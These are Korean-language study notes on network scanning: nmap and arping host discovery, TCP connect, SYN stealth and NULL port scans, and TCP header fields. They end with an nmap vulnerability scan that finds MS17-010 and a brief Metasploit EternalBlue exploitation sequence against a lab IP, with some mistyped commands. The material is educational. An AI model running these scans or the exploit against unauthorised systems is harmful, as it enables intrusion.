[NETWORK] Scanning

스캐닝이란?

공격자가 공격 대상의 네트워크나 시스템 정보를 탐색하는 행위

수집 목적 == 공격자가 공격 목표로 하는 네트워크나 시스템의 자세한 정보(IP, OS, Port, Version, ...)를 수집하기 위함.

스캐닝은 대상 서비스나 시스템을 운영하는 기관, 기업과 협의 없이 수행하면 안됨.

---

1. 활성 시스템 스캐닝

• Active Host Scanning
• 현재 동작 중인 호스트(server, PC 등 단말기)를 찾기 위한 스캐닝 기법
  • ICMP(Internet Control Message Protocol)를 이용한 ping 통신을 통해 동작 여부를 확인함.
  • 대상 네트워크의 구조와 공격 대상을 찾는 방법으로 직접적인 공격 영향 없음.
• 종류 : ICMP Echo ping, ARPing, TCP/UDP ping
• tools : Nmap, ARPing
•  Nmap
  • nmap -sn {네트워크 대역 | 호스트 IP}
    == ping 요청을 보내고 해당 요청에 대한 응답이 있는 활성화된 호스트만 출력
  • nmap -Pn {네트워크 대역 | 호스트 IP}
    == 사전에 활성여부 확인(ping test)없이 모든 대상을 탐색 수행

---

•  ARPing
  • arping {호스트 IP}
  • arping -c 숫자{호스트 IP}
    == -c 옵션 숫자만큼 arping을 전송함.

arping

[sudo] [arping] [-c 1] [192.168.0.100] [관리자 권한으로] [arping 요청] [1번] [arp 요청을 보낼 대상 ip 주소]

자동화 코드 작성(arp.sh) 후 읽기,쓰기, 실행 권한 부여하기

---

2. 포트 스캐닝

• Port Scanning
• 호스트에서 실행 중인 서비스를 찾기 위한 스캐닝 기법
• 종류 : TCP Prot Scanning, UDP Prot Scanning
• TCP Connect Scanning
  • TCP 연결을 맺어서 포트의 활성화 여부를 판단하는 방법
  • 포트가 열린 경우, 신뢰성있는 연결(3-way-handshake)을 수행하여 연결 기록(로그)를 남김
  • nmap -sT {네트워크 대역 | 호스트 IP}

    

    3-way-handshake

     
  • TCP header

    

    TCP header

    • Flags == 다른 프로그램에게 약속된 신호를 남기기 위한 용도로 프로그램에서 사용되는 미리 정의된 비트
      • SYN == 연결을 시작하기 위한 컨트롤 비트
    • Sequence number
      • 세그먼트에 포한된 데이터의 첫번째 바이트에 부여된 번호
      • 패킷의 순서 번호를 나타내기 위한 필드
    • Acknowledgment number
      • 송신측에 데이터를 어디까지 전달받았는지 알리기 위한 필드
      • 이 필드에 유효한 값이 채워져 있으면 ACK의 값은 1, 않으면 0
    • 포트 주소 == 특정 프로세스나 서비스와의 통신을 식별하기 위해 사용하는 숫자.
      • IP 주소가 네트워크 상의 컴퓨터를 식별하는 역할을 한다면,
        포트 주소는 해당 컴퓨터 내의 특정 애플리케이션이나 서비스로 데이터를 전달하는 역할을 함.

---

• SYN Stealth(Half Open) Scanning
  • TCP 연결을 완전히 하지 않고 포트의 활성화 여부를 판단하는 방법
  • 포트가 열린 경우, 연결 중간(3-way-handshake 2단계)에 끊으며 연결 기록(로그)를 남기지 않음.
  • nmap -sS {네트워크 대역 | 호스트 IP}

---

• NULL Scanning
  • TCP 헤더 내 플래그 값을 설정하지 않고 전송해서, 그에 대한 응답으로 포트의 활성화 여부를 판단하는 방법
  • 포트가 열린 경우, 목표 대상은 요청을 알 수 없어 응답을 하지 않음
  • nmap -sN {네트워크 대역 | 호스트 IP}

---

3. 취약점 스캐닝

• nmap tools 사용

nmap -sV -script wuln 192.168.0.2

열린 포트를 스캔하고 vuln 스크립트를 이용해 취약점을 스캔함.

ms17-010 취약점을 확인하였다.

 

msfconsole

search Etenrnal

use 0

 

set RHOST 192.168.0.2 exloit

set RHOST 명령어로 공격 대상의 IP 주소를 설정함.

exploit 명령어로 공격을 실행함.

네트워크 보안 진단과 취약점 평가에서 일반적으로 사용되는 방법.

 

ipconfig

 

sysinfo